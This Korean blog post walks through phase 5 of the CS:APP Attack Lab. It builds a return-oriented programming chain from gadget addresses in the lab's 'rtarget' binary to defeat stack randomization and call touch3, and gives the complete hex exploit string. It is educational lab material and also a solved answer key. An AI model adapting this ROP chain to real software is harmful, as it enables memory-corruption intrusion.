Study/CS

Lab3: Attacklab (phase 5)

mgchem 2023. 11. 5. 23:36

Overview

 

Phase 5는 phase 3을 ROP를 사용해서 푸는 문제다.

Phase 3를 푸는 과정 및 touch3 함수의 구성은 지난 게시물에서 다루었다.

 

typedef struct st {
	char cookie_str[9];
	int cookie_val;
} st;

요약하면 위와 같이 cookie값을 char, int로 각각 포함하는 struct st를 만들고,

st의 주소값을 %rdi에 넣은 채로 touch3 함수를 call하는 문제다.

 


 

ROP

 

Phase 5에 쓰이는 gadget은 start_farm 함수와 end_farm 함수 사이에 위치한다.

 

$ objdump -d rtarget > rtarget.d

 

rtarget의 전체 내용을 disassemble한 결과인 rtarget.d를 열어 start_farm과 end_farm 사이를 살펴보자.

 

 

이번 attack lab에서 사용하는 gadget은 mov, pop, nop, ret만을 포함해야 한다.

하지만 mov, pop만을 사용하여 stack 내 특정 주소값을 %rdi에 넣을 방법이 떠오르지 않는다..

Phase 1, 2, 3에서는 stack 내 주소값이 고정되어있지만,

Phase 4, 5에서는 stack의 주소가 매 run마다 random하게 바뀐다.

따라서 input으로 직접 struct의 주소값을 넣을 수 없다.

 

이미 존재하는 함수를 온전하게 gadget으로 사용할 수 있다는 점을 고려하자.

0x401af7 : add_xy 함수에 주목하자.

해당 함수는 %rdi와 %rsi를 더하여 %rax에 넣는다.

또한 401b0c : movq %rsp, %rax gadget에 주목하자.

해당 gadget은 %rsp의 값을 %rax에 넣는다.

매 run마다 stack의 주소가 바뀌지만 해당 run에서 %rsp의 값을 알 수 있다면,

그렇게 얻은 %rsp에서 input으로 넣어준 struct의 주소값의 차이는 알고 있으므로

둘을 각각 %rdi, %rsi에 넣어 add_xy 함수를 통해 struct의 주소값을 얻을 수 있다.

 

위의 gadget farm에서 필요한 gadget을 찾으면

gadget 1) 0x401ad9 : 58 90 90 90 c3 (popq %rax / nop 3회 / ret)

gadget 2) 0x401afe : 89 c1 84 d2 c3 (movl %eax, %ecx / ret)

gadget 3) 0x401b05 : 89 ca 90 c3 (movl %ecx, %edx / ret)

gadget 4) 0x401b21 : 89 d6 90 c3 (movl %edx, %esi / ret)

gadget 5) 0x401b0c : 48 89 e0 c3 (movq %rsp, %rax / ret)

gadget 6) 0x401acc : 48 89 c7 c3 (movq %rax, %rdi / ret)

gadget 7) 0x401af7 : add_xy 함수 (lea (%rdi, %rsi, 1), rax / ret)

gadget 8) 0x401acc : 48 89 c7 c3 (movq %rax, %rdi / ret)

 

Buffer 24자리는 임의로 00으로 채우고

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

 

return address는 gadget 1를 가리키도록 한다.

d9 1a 40 00 00 00 00 00

 

gadget 5에서 %rsp를 받고, gadget 6의 주소값(8B), gadget 7의 주소값(8B),

gadget 8의 주소값(8B), 마지막으로 touch3의 주소값(8B) 직후에 struct를 둔다면

gadget 5에서 받은 %rsp와 struct의 주소값의 차이는 32, hex로 표현하면 0x20이다.

이 0x20이 gadget 1의 popq %rax에 의해 %rax에 저장되어야 하므로

20 00 00 00 00 00 00 00

 

gadget 1의 ret에서 gadget 2로 이동하기 위해 gadget 2의 주소값을 return address로 한다.

fe 1a 40 00 00 00 00 00

 

gadget 2에서는 %eax에 저장된 0x20을 %ecx로 복사한다.

ret에서 gadget 3로 이동하기 위해 gadget 3의 주소값을 return address로 한다.

05 1b 40 00 00 00 00 00

 

gadget 3에서는 %ecx에 저장된 0x20을 %edx로 복사한다.

ret에서 gadget 4로 이동하기 위해 gadget 4의 주소값을 return address로 한다.

21 1b 40 00 00 00 00 00

 

gadget 4에서는 %edx에 저장된 0x20을 %esi로 복사한다.

ret에서 gadget 5로 이동하기 위해 gadget 5의 주소값을 return address로 한다.

0c 1b 40 00 00 00 00 00

 

gadget 5에서는 %rsp 값을 %rax로 복사한다.

ret에서 gadget 6로 이동하기 위해 gadget 6의 주소값을 return address로 한다.

cc 1a 40 00 00 00 00 00

 

gadget 6에서는 gadget 5에서 %rax에 저장해둔 %rsp 값을 %rdi로 복사한다.

ret에서 gadget 7로 이동하기 위해 gadget 7의 주소값을 return address로 한다.

f7 1a 40 00 00 00 00 00

 

gadget 7에서는 gadget 6에서 얻은 %rdi와 0x20이 들어있는 %rsi의 값을 합하여 %rax에 넣는다.

이로써 %rax에는 뒤이어 나올 struct의 주소값이 저장된다.

ret에서 gadget 8로 이동하기 위해 gadget 8의 주소값을 return address로 한다.

cc 1a 40 00 00 00 00 00

 

gadget 8에서는 gadget 7에서 %rax에 저장해둔 struct의 주소값을 %rdi로 복사한다.

ret에서 touch3 함수로 이동하기 위해 touch3 함수의 주소값 0x401a0c를 return address로 한다.

0c 1a 40 00 00 00 00 00

 

다음으로 struct의 구성은 지난 게시물에서 다루었다.

예를 들어 cookie 값이 0x12345678이라면
31 32 33 34 35 36 37 38 00 00 00 00 78 56 34 12

 

여기까지 쭉 쓰면

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d9 1a 40 00 00 00 00 00 20 00 00 00 00 00 00 00 fe 1a 40 00 00 00 00 00 05 1b 40 00 00 00 00 00 21 1b 40 00 00 00 00 00 0c 1b 40 00 00 00 00 00 cc 1a 40 00 00 00 00 00 f7 1a 40 00 00 00 00 00 cc 1a 40 00 00 00 00 00 0c 1a 40 00 00 00 00 00 31 32 33 34 35 36 37 38 00 00 00 00 78 56 34 12

 

$ ./hex2raw < 5.txt > 5-raw.txt
$ ./rtarget < 5-raw.txt

해당 hex를 txt파일로 저장하고, hex2raw로 해당 ascii code에 대응하는 string을 생성하여 rtarget에 입력하면 성공.